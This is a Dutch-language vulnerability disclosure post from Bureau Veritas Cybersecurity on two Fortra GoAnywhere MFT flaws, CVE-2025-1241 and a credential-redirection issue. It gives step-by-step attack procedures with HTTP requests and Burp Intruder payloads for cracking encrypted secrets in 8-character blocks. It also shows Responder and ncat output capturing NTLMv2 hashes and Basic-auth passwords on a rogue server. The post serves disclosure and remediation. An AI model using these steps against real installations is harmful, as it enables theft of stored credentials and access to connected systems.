Overzicht van kwetsbaarheden: Fortra GoAnywhere Secret Decryption CVE
> Nieuws en events > Kwetsbaarheden uitgelicht: Fortra GoAnywhere Secret Decryption CVE
Op 7 januari 2025 ontdekte Robin Wolters bij Bureau Veritas Cybersecurity twee kwetsbaarheden in Fortra GoAnywhere MFT (Secure Managed File Transfer Software), waarvan er één onlangs de CVE-2025-1241-codeheeft gekregen .
De versie die tijdens deze tests is gebruikt, is GoAnywhere versie 7.6.0 Build 44.
Op de productpagina van GoAnywhere MFT wordt vermeld dat de software kan worden gebruikt om gevoelige gegevens, zoals PHI, PII en kaartgegevens, zowel tijdens verzending als in rust te beveiligen. Dit betekent dat een kwetsbaarheid kan leiden tot compromittering of verstoring van deze gevoelige gegevens bij klanten van de GoAnywhere MFT-software.
De geïdentificeerde kwetsbaarheden leiden beide tot blootstelling van geheimen die versleuteld zijn opgeslagen. De eerste kwetsbaarheid stelt een aanvaller in staat om alle opgeslagen versleutelde geheimen te kraken door middel van brute-force-aanvallen, vanwege een zwakte in het gebruikte versleutelingsmechanisme. Het mechanisme versleutelt geheimen met behulp van een blokcijfer, in blokken van 8 tekens. Hierdoor kunnen brute-force-pogingen op de versleutelde geheimen worden uitgevoerd in blokken van 8, waardoor de effectieve lengte van het oorspronkelijke geheim wordt beperkt. Het gebruik van een wachtwoord van 24 tekens zou betekenen dat drie blokken van 8 tekens moeten worden gekraakt in plaats van één enkel wachtwoord van 24 tekens. De kwetsbaarheid stelde een aanvaller ook in staat om de geschatte lengte van het geheim te bepalen, tot op de blokgrootte nauwkeurig, wat de sterkte van de versleuteling verder beperkt. Deze kwetsbaarheid heeft de CVE-code CVE-2025-1241 gekregen.
De tweede kwetsbaarheid stelt een aanvaller in staat om in leesbare tekst inloggegevens van het systeem te ontvangen voor eerder geconfigureerde bronnen. Bronnen kunnen worden geconfigureerd met accounts voor authenticatie bij de externe bron. Het wachtwoord van dit account wordt na de eerste configuratie niet aan de gebruiker getoond; het kan alleen worden vervangen door een nieuw wachtwoord. Door het doeladres van de bron te wijzigen, kan de authenticatie van de bron echter worden omgeleid naar een server die onder controle staat van een aanvaller. Met de juiste configuratie kan deze kwaadaardige server worden ingesteld om de inloggegevens van de authenticatie te verzamelen, wat resulteert in ofwel het wachtwoord in leesbare tekst ofwel de inloggegevens in een vorm die specifiek is voor de dienst. Aan deze kwetsbaarheid is geen CVE toegekend, aangezien deze inherent is aan de manier waarop de geheimen worden gebruikt.
Scenario 1:
brute-forcing van geheimen
Bij het onderzoeken van het beheerdersportaal van GoAnywhere kwam de Encryption Tool naar voren. Met deze tool kon een beheerder wachtwoorden in leesbare tekst versleutelen om ze veilig als variabelen in projecten te gebruiken. Het experimenteren met de Encryption Tool leverde interessante resultaten op:
12345678
1234567812345678
123456781234567812345678
12345678123456781234567812345678Dit resulteerde in de volgende versleutelde tekenreeksen:
*1:/lBhXoui/lbmKb2cHuO/3xXz9swI+mIDl5y4Eqd+YpY= *1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9EcZzG3vgDsumsh9cuJe2+x *1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo 9LsBl4QwBERxDQskrElu8Q== *1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPoNujLGzJ6+WlTMvkm0rmyBHJrN7SkayXSc02t0/DwaG8=
Het feit dat het begin van de versleutelde tekenreeks niet meer verandert, kan erop wijzen dat er een blokcijfer voor de versleuteling wordt gebruikt. Dit zou betekenen dat een geheim in blokken van 8 kan worden ontsleuteld in plaats van dat het gehele geheim met brute kracht moet worden gekraakt, waardoor de effectiviteit van de wachtwoordlengte ernstig wordt beperkt.
De applicatie werd gecontroleerd op het gebruik van deze versleutelde strings. De onderzochte instantie maakte echter geen gebruik van de versleutelde strings voor variabelen, zoals gesuggereerd. Andere plaatsen werden geïnspecteerd, zoals de configuratiebestanden van de applicatie. Een voorbeeld hiervan was het bestand database-2024-11-21-14-19-17.xml, dat een versleutelde tekenreeks voor de databaseverbinding bevatte:
*1:1ijs[VERWIJDERD]THKA==
De geschatte lengte van dit wachtwoord kan worden bepaald op basis van de gebruikte blokversleuteling. Met behulp van de versleutelings-tool worden nieuwe tekens aan de tekststring toegevoegd totdat de versleutelde uitvoer overeenkomt met de lengte van de versleutelde string ( 91):
1234567
*1:nxdAwBailruj46Be4+DAyA==
12345678
*1:/lBhXoui/lbmKb2cHuO/3xXz9swI+mIDl5y4Eqd+YpY=
123456781234567
*1:/lBhXoui/lbmKb2cHuO/35xmPTRyVcQYUZi/EXzZvVY=
1234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9EcZzG3vgDsumsh9cuJe2+x
123456781234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
9LsBl4QwBERxDQskrElu8Q==
1234567812345678123456781
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
jZmTjkbe912yN/xOHF4j1A==
1234567812345678123456781234567
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
CeobjfYj3HF2rsDkX/0udg==
12345678123456781234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
NujLGzJ6+WlTMvkm0rmyBHJrN7SkayXSc02t0/DwaG8=
Dit geeft aan dat de oorspronkelijke invoer tussen 24 (123456781234567812345678) en 31 ( 1234567812345678123456781234567) tekens zou liggen.
Een ander voorbeeld is te vinden in de resource-verbinding. Hoewel de applicatie de versleutelde strings niet in de webconsole toonde, was het mogelijk deze te lezen door de configuratie van een resource te exporteren. Er werd een nieuwe SSH-server-resource aangemaakt voor de proof of concept van het brute-forcen van een versleutelde string:
POST /goanywhere/resources/ConfigureResource.xhtml HTTP/1.1 Host: il-vbu.acp.kvk.nl:9000 Cookie: ASESSIONID=[...] Content-Type: application/x-www-form-urlencoded resourceForm%3AbtnSave=&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3A j_id_45%3A2%3Ata=&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj_id_4 5%3A3%3Atf=10.30.50.66&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj _id_45%3A4%3Atf=8022&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj_id _45%3A5%3Atf=Secura&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj_id_45%3A6%3Aef_pwd_hinput=44332211112233441324&[...]
De configuratie van de bron is gedownload:
<?xml version="1.0" encoding="UTF-8" ?> Secura testserver Default 10.30.XX.XX 8022 Secura <password>*1:5hiwElHNzJKgMS5gDUVO0xOVAKHxuGrkGqhIpWPAfihF/1gv5X/XgGCEHBSSLVnh
Met behulp van de hierboven beschreven methode kon de geschatte lengte van het wachtwoord worden bepaald, namelijk tussen de 16 en 24 tekens:
123456781234567*1:/lBhXoui/lbmKb2cHuO/35xmPTRyVcQYUZi/EXzZvVY=1234567812345678*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9EcZzG3vgDsumsh9cuJe2+x44332211112233441324*1:5hiwElHNzJKgMS5gDUVO0xOVAKHxuGrkGqhIpWPAfihF/1gv5X/XgGCEHBSSLVnh12345678123456781234567*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9FTti437Mrc8Lm9kAqI5/YK123456781234567812345678*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo 9LsBl4QwBERxDQskrElu8Q==
De versleutelings-tool werd gebruikt in combinatie met Burp Intruder om de versleutelde tekenreeks te kraken met brute-force. Zoals vermeld was brute-force-kraken mogelijk in delen van 8. In plaats van één wachtwoord van 24 tekens te moeten kraken, was het dus mogelijk om 3 wachtwoorden van maximaal 8 tekens te kraken. Het tekenbereik was beperkt tot alleen cijfers, aangezien dit een online brute-force-aanval op een live systeem betrof.
Het eerste deel werd gekraakt door te kijken naar de eerste 24 tekens van de versleutelde uitvoer:
*1:5hiwElHNzJKgMS5gDUVO0wgSYOvW7qH5dXA/Pi73oGI=
Het eerste deel van het wachtwoord werd gekraakt
De leesbare tekst werd vervolgens toegevoegd aan de configuratie van de indringer, vóór het volgende deel dat met brute force moest worden gekraakt.
javax.faces.partial.ajax=true&javax.faces.source=j_id_26_a& javax.faces.partial.execute=%40all&javax.faces.partial.render=j_id_28%3A j_id_2b%3AencryptedOutput&j_id_26_a=j_id_26_a&j_id_28%3Aj_id_2b%3Ainput_hinput=44332211§INPUT§&[...]
Het volgende gedeelte werd met brute-force aangevallen totdat er een overeenkomst werd gevonden met de eerste 45 tekens van de versleutelde tekenreeks.
*1:5hiwElHNzJKgMS5gDUVO0xOVAKHxuGrkGqhIpWPAfihF/1gv5X/XgGCEHBSSLVnh
De aanpak voor het laatste gedeelte was iets anders, omdat we niet konden weten of het wachtwoord 16 of 23 tekens lang was. Dit betekent dat elke lengte van 1 tot 7 met brute-force moest worden getest:
Burp Intruder-configuratie gebruikt voor het kraken van het laatste gedeelte
Uiteindelijk werd ook het laatste deel van het wachtwoord gekraakt:
Het laatste deel van het wachtwoord is gekraakt
Samenvatting
Deze kwetsbaarheid stelt een aanvaller in staat om geheimen die binnen de applicatie worden gebruikt, met brute-force aan te vallen in blokken van 8 tekens. Dit beperkt de effectieve sterkte van het gebruikte geheim en stelt een aanvaller in staat toegang te verkrijgen tot geconfigureerde bronnen zoals SSH-servers, databases, bestandsdelingen of andere. De volgende stappen vatten het proces samen:
- Haal een versleuteld geheim op uit de applicatie; bijvoorbeeld door een configuratiebestand te lezen of een bron te exporteren.
- Meld u aan bij het portaal met voldoende rechten om toegang te krijgen tot de versleutelingsprogramma.
- Bepaal de geschatte lengte van de geheime sleutel met behulp van de versleutelingsprogramma.
- Gebruik de methode van uw keuze om de geheime sleutel via de versleutelings-tool te kraken. Dit kan worden gedaan met behulp van Hydra, Burp Intruder of een eigen script.
- Kraak elk blok van de versleutelde geheime code om de oorspronkelijke geheime code in leesbare tekst te achterhalen.
Hieronder vindt u een CVSS-score als indicatie van de ontdekte kwetsbaarheid:
Indicatieve CVSS3.1-score van dit scenario
Beperking
Werk de applicatie bij naar versie 7.10.0. Deze patch is op 20 april 2026 uitgebracht. Beperk in het algemeen het aantal beheerders op basis van het principe van minimale rechten om toegang tot dit soort kwetsbaarheden te voorkomen.
Scenario 2:
overdracht van geheimen in leesbare tekst
In het beheerdersportaal kunnen bronnen worden geconfigureerd, zoals SSH-servers of netwerkshares. Voor deze bronnen zijn vaak inloggegevens vereist die kunnen worden opgeslagen. Het is niet mogelijk om het (versleutelde) wachtwoord via de webinterface te lezen:
Het versleutelde wachtwoord van een bron is verborgen voor de gebruiker
Een gebruiker met voldoende rechten kan de bronnen wijzigen. Door het serveradres van een netwerkshare te wijzigen, kan de authenticatiepoging worden omgeleid van de oorspronkelijke server naar een kwaadaardige server. De kwaadaardige server zou inkomende authenticatie kunnen monitoren om deze te onderscheppen, bijvoorbeeld met Responder:
$ sudo responder -I eth0 -A [+] Servers: SMB-server [AAN] [+] Luisteren naar events... [+] Responder bevindt zich in de analysemodus. Er worden geen NBT-NS-, LLMNR- of MDNS-verzoeken gemanipuleerd. [...] [SMB] NTLMv2-SSP-client : 10.7.255.101 [SMB] NTLMv2-SSP-gebruikersnaam : TEST\secura [SMB] NTLMv2-SSP-hash :secura::TEST:6a6c638bcaee13bb:A5FF[...]0000
Deze hash kan vervolgens worden gebruikt in een offline brute-force-aanval om het geconfigureerde wachtwoord van de bron te achterhalen. Als alternatief zouden sommige diensten het verzenden van wachtwoorden kunnen toestaan die niet gekraakt hoeven te worden. Een voorbeeld hiervan zijn HTTP(S)-servers. Voor de PoC is een nieuwe HTTP-server aangemaakt en is de functie ``Test'' gebruikt om de verbinding te testen, waarbij het opgeslagen wachtwoord via de HTTP-verbinding werd verzonden:
De verbinding met de HTTP-server werd getest, waarbij het wachtwoord werd verzonden
De kwaadaardige server ontving de volgende verbinding van de GoAnywhere-client:
$ ncat -lvp 8000 Ncat: Versie 7.94SVN ( https://nmap.org/ncat ) Ncat: Luistert op [::]:8000 Ncat: Luistert op 0.0.0.0:8000 Ncat: Verbinding van 10.7.255.101:16047. GET / HTTP/1.1 Connection: close Authorization: BasicVGVzdDp0ZXN0cGFzc3dvcmQ=User-Agent: Jakarta Commons-HttpClient/3.1 Host: 10.30.50.66:8000
De base64-code werd gedecodeerd naar de oorspronkelijke gebruikersnaam en het oorspronkelijke wachtwoord:
Test:testpassword
Samenvatting
Deze kwetsbaarheid stelt een aanvaller in staat om onversleutelde geheimen uit de applicatie op te halen die normaal gesproken in versleutelde vorm worden opgeslagen. Afhankelijk van het gebruikte protocol kunnen deze geheimen worden ontvangen in platte tekst of in een protocolspecifiek formaat. De volgende stappen vatten het proces samen:
- Meld u aan bij het portaal met voldoende rechten om toegang te krijgen tot de bronnen.
- Selecteer een protocol en een bron als doel.
- Zet een malafide server op die via het doelprotocol kan communiceren en authenticatiegegevens verzamelt; Responder kan bijvoorbeeld worden gebruikt om SMB-gegevens te verzamelen.
- Bewerk de bron om het doeladres om te leiden naar de kwaadaardige server.
- Gebruik de testfunctionaliteit om een authenticatiepoging te ontvangen zonder de nieuwe instellingen op te slaan.
Hieronder vindt u een CVSS-score als indicatie van de ontdekte kwetsbaarheid:
Indicatieve CVSS3.1-score van dit scenario
Beperking
Er zal geen update beschikbaar zijn om deze methode te voorkomen. Het beperken van dit gedrag zou het beheer van de applicatie bemoeilijken en minder gebruiksvriendelijk maken. Een mogelijke oplossing zou zijn om het toevoegen van certificaten aan de configuratie toe te staan om de identiteit van de doelserver te waarborgen. Beperk in het algemeen het aantal beheerders op basis van het principe van minimale rechten om toegang tot dit soort kwetsbaarheden te voorkomen.
Waarom kiezen voor Bureau Veritas Cybersecurity
Bureau Veritas Cybersecurity is uw specialist op het gebied van digitale veiligheid. Wij ondersteunen organisaties bij het in kaart brengen van risico’s, het verbeteren van hun verdediging en het naleven van wet- en regelgeving. Onze dienstverlening bestrijkt mens, proces en technologie: van awareness-trainingen en social engineering tot advies, compliance en technische beveiligingstests.
We werken in IT-, OT- en IoT-omgevingen en ondersteunen zowel digitale systemen als verbonden producten. Met ruim 300 cybersecurity-specialisten wereldwijd combineren we diepgaande technische kennis met internationale slagkracht. Bureau Veritas Cybersecurity is onderdeel van Bureau Veritas Group, wereldwijd actief in testen, inspectie en certificering.